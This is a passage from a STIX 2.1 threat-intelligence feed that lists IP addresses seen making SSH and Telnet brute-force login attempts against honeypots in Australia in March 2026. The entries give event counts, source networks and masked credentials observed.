      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--54eaace8-5597-4f34-a197-b227aa71b439",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '174.129.71.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T01:15:14.000Z",
      "valid_until": "2026-04-21T01:15:12.000Z"
    },
    {
      "created": "2026-03-20T01:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM.",
      "id": "indicator--fe4f85fb-887d-421f-a665-6be6fb095f80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.218.105.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T01:15:14.000Z",
      "valid_until": "2026-04-21T01:15:12.000Z"
    },
    {
      "created": "2026-03-20T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 18209. Organisation(s): Atria Convergence Technologies Ltd.. Usernames observed (masked): f***x. Passwords observed (masked): ***.",
      "id": "indicator--301beb72-5425-4c63-87ac-bcc95727eb21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.82.126.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T01:15:14.000Z",
      "valid_until": "2026-04-21T01:15:12.000Z"
    },
    {
      "created": "2026-03-20T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--7a20749d-63bb-4cf3-9073-53ac145189ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.93.81.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T01:15:14.000Z",
      "valid_until": "2026-04-21T01:15:12.000Z"
    },
    {
      "created": "2026-03-20T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--34b0dc3f-b3e7-4934-8f08-95f77f071634",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.218.165.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T02:15:14.000Z",
      "valid_until": "2026-04-21T02:15:12.000Z"
    },
    {
      "created": "2026-03-20T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, r********6.",
      "id": "indicator--fe5d4dd3-2bc4-4589-9799-e2d28a742ce9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.28.170.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T02:15:14.000Z",
      "valid_until": "2026-04-21T02:15:12.000Z"
    },
    {
      "created": "2026-03-20T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9981. Organisation(s): Saero Network Service LTD.",
      "id": "indicator--1eb5e39e-e01b-49b2-a476-e257e4668bb9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.199.121.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T02:15:14.000Z",
      "valid_until": "2026-04-21T02:15:12.000Z"
    },
    {
      "created": "2026-03-20T03:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--1d5fb196-7f7e-4456-bce6-963147b1bdc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T03:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.150.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T03:15:17.000Z",
      "valid_until": "2026-04-21T03:15:12.000Z"
    },
    {
      "created": "2026-03-20T03:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58519. Organisation(s): Cloud Computing Corporation. Usernames observed (masked): e***********h. Passwords observed (masked): e***********h.",
      "id": "indicator--c677b5ce-53c3-446b-b376-69fe0d50555a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T03:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.43.164.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T03:15:17.000Z",
      "valid_until": "2026-04-21T03:15:12.000Z"
    },
    {
      "created": "2026-03-20T03:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--9b632445-d009-4bc8-b7ed-f072a89a8d31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T03:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.163.15.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T03:15:17.000Z",
      "valid_until": "2026-04-21T03:15:12.000Z"
    },
    {
      "created": "2026-03-20T03:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d24fc3b6-1ed8-4b8d-914d-a9808e3206a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T03:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.243.26.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T03:15:17.000Z",
      "valid_until": "2026-04-21T03:15:12.000Z"
    },
    {
      "created": "2026-03-20T03:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--6e13fabf-0c70-4630-8231-0d549fc958f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T03:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '31.190.7.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T03:15:17.000Z",
      "valid_until": "2026-04-21T03:15:12.000Z"
    },
    {
      "created": "2026-03-20T03:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24309. Organisation(s): Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA. Usernames observed (masked): a***l, e***n, r**t, s***e. Passwords observed (masked): ***, W*******0, e********n, s******3.",
      "id": "indicator--9cf8d859-3d0f-4bf8-9dc2-0d7868452006",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T03:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.207.243.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T03:15:17.000Z",
      "valid_until": "2026-04-21T03:15:12.000Z"
    },
    {
      "created": "2026-03-20T04:15:39.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 55990. Organisation(s): Huawei Cloud Service data center. Usernames observed (masked): m****i. Passwords observed (masked): m*******3.",
      "id": "indicator--b6416fac-3b0d-4e62-8010-e838a27b9b88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T04:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.94.220.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T04:15:39.000Z",
      "valid_until": "2026-04-21T04:15:12.000Z"
    },
    {
      "created": "2026-03-20T04:15:39.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 225. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9316. Organisation(s): DACOM-PUBNETPLUS. Usernames observed (masked): r**t, r***t, 3**********4, a****a, a******n. Passwords observed (masked): 3***********4, 1**4, 1***5, 1****6, 3**********4.",
      "id": "indicator--91cbe92a-ef70-4956-b0cd-474c67efbdb2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T04:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.247.116.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T04:15:39.000Z",
      "valid_until": "2026-04-21T04:15:12.000Z"
    },
    {
      "created": "2026-03-20T04:15:39.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--414e0f69-41fe-400d-808a-18e45079e5d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T04:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.42.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T04:15:39.000Z",
      "valid_until": "2026-04-21T04:15:12.000Z"
    },
    {
      "created": "2026-03-20T04:15:39.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 138915. Organisation(s): Kaopu Cloud HK Limited. Usernames observed (masked): 3**********4, c***l, t**t, b******s, **. Passwords observed (masked): 3***********4, 3**********4, C******3, J******!, b**********!.",
      "id": "indicator--73f14b5f-32a6-42c1-83d5-ca5accbbe62a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T04:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.90.54.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T04:15:39.000Z",
      "valid_until": "2026-04-21T04:15:12.000Z"
    },
    {
      "created": "2026-03-20T04:15:39.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 153523. Organisation(s): Ummah Host. Usernames observed (masked): 3**********4, c***l, o**s, t**t, b******s. Passwords observed (masked): 3***********4, 3**********4, C******3, J******!, b**********!.",
      "id": "indicator--c5a577d2-22d7-4142-a047-4da3bdd40c29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T04:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.248.189.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T04:15:39.000Z",
      "valid_until": "2026-04-21T04:15:12.000Z"
    },
    {
      "created": "2026-03-20T04:15:39.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): 3**********4, d***o, ***, u***2, d*******r. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1*******D.",
      "id": "indicator--fe6e2184-b54b-4d73-bd3f-52100c39024d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T04:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.35.87.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T04:15:39.000Z",
      "valid_until": "2026-04-21T04:15:12.000Z"
    },
    {
      "created": "2026-03-20T04:15:39.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 111. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 9141. Organisation(s): Play. Usernames observed (masked): d****y, j*****a, s*******t, ***, u****u. Passwords observed (masked): P******d, d********s, j************6, s***************d, t*****s.",
      "id": "indicator--755b8a38-c88b-4d65-8697-11e50d1ac9cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T04:15:39.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.206.196.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T04:15:39.000Z",
      "valid_until": "2026-04-21T04:15:12.000Z"
    },
    {
      "created": "2026-03-20T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--a4ce8a10-f3a7-4f8c-90b3-9a5f4a384625",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.45.29.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T05:15:13.000Z",
      "valid_until": "2026-04-21T05:15:11.000Z"
    },
    {
      "created": "2026-03-20T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fc2f47ea-db0e-4f12-8882-62aaba300053",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T05:15:13.000Z",
      "valid_until": "2026-04-21T05:15:11.000Z"
    },
    {
      "created": "2026-03-20T06:15:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1663. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, u****u, d****y, d******r, k***a. Passwords observed (masked): 1****6, p******d, ***, 1**4, 1******8.",
      "id": "indicator--4c9c63bc-d48b-4b7b-950b-eeecc4a1cb56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T06:15:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.223.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T06:15:42.000Z",
      "valid_until": "2026-04-21T06:15:12.000Z"
    },
    {
      "created": "2026-03-20T06:15:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--8ab88806-30fd-40a5-afa3-61f9b8ca3d2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T06:15:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.65.194.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T06:15:42.000Z",
      "valid_until": "2026-04-21T06:15:12.000Z"
    },
    {
      "created": "2026-03-20T06:15:42.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--64c584a1-da7d-4ffd-9297-76d1bd8f22f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T06:15:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.149.60.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T06:15:42.000Z",
      "valid_until": "2026-04-21T06:15:12.000Z"
    },
    {
      "created": "2026-03-20T07:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--1ff5f674-68fc-40a0-a83f-df82b146b175",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.165.115.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T07:15:04.000Z",
      "valid_until": "2026-04-21T07:15:00.000Z"
    },
    {
      "created": "2026-03-20T08:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--81f6a8af-ae45-479c-a386-6af1fde3072a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.1.107.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T08:15:14.000Z",
      "valid_until": "2026-04-21T08:15:12.000Z"
    },
    {
      "created": "2026-03-20T08:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--ab6bd4ac-ee74-4066-adf3-97cee6182d21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.38.36.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T08:15:14.000Z",
      "valid_until": "2026-04-21T08:15:12.000Z"
    },
    {
      "created": "2026-03-20T08:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited.",
      "id": "indicator--c2ced06f-6695-4f15-aa8b-a10fac539fe9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.142.113.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T08:15:14.000Z",
      "valid_until": "2026-04-21T08:15:12.000Z"
    },
    {
      "created": "2026-03-20T08:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--7774ef26-37e7-49bd-befa-436cc849bdf1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T08:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T08:15:14.000Z",
      "valid_until": "2026-04-21T08:15:12.000Z"
    },
    {
      "created": "2026-03-20T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--19de6201-9d00-4427-af57-b9ab538711bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.1.106.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T09:15:05.000Z",
      "valid_until": "2026-04-21T09:15:02.000Z"
    },
    {
      "created": "2026-03-20T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--4ab8b129-5e64-4eb3-aa2b-eddf823da1b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T09:15:05.000Z",
      "valid_until": "2026-04-21T09:15:02.000Z"
    },
    {
      "created": "2026-03-20T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--1ed40aae-dfef-46cd-9852-f9a0a738ffef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.38.103.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T09:15:05.000Z",
      "valid_until": "2026-04-21T09:15:02.000Z"
    },
    {
      "created": "2026-03-20T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 267953. Organisation(s): BNET SOLUCOES EM INTERNET LTDA-ME.",
      "id": "indicator--8da6ef2c-7d42-46ec-8d9b-a67ff67f47bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.166.68.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T09:15:05.000Z",
      "valid_until": "2026-04-21T09:15:02.000Z"
    },
    {
      "created": "2026-03-20T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LT. ASN(s): 49602. Organisation(s): Private Limited Liability Company KRENA.",
      "id": "indicator--897dea0e-3c34-4338-9f39-184ae3002a2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.7.112.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T09:15:05.000Z",
      "valid_until": "2026-04-21T09:15:02.000Z"
    },
    {
      "created": "2026-03-20T10:15:05.000Z",
